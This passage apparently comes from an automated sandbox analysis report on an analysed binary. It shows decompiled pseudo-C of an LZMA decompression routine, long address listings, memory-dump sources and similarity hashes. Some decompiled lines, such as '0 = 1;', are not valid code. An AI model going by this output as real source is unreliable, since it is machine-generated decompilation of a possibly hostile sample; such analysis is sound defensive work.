							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004062f4
0x004062f4
0x004062f8
0x004063af
0x004063b2
0x004063be
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x00000000
0x00406687
0x004062fe
0x00406302
0x00406843
0x00406843
0x00406846
0x0040684a
0x0040684a
0x00406308
0x0040630e
0x00406311
0x00406315
0x00406318
0x0040631c
0x004067e2
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00000000
0x0040683f
0x00406322
0x00406325
0x0040632b
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00406356
0x00406356
0x00406356
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00000000
0x00406611
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00000000
0x00406784
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00000000
0x004065d9
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction ID: c975835c63a62796fcb7e955cfffcd5e326eaa1512836fcadbce1623bdfadb04
Opcode Fuzzy Hash: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction Fuzzy Hash: AF816671D00229CFDF24CFA8C8447AEBBB1FB44305F25816AD856BB281C7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405DF9, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405DF9(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M0040684B))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
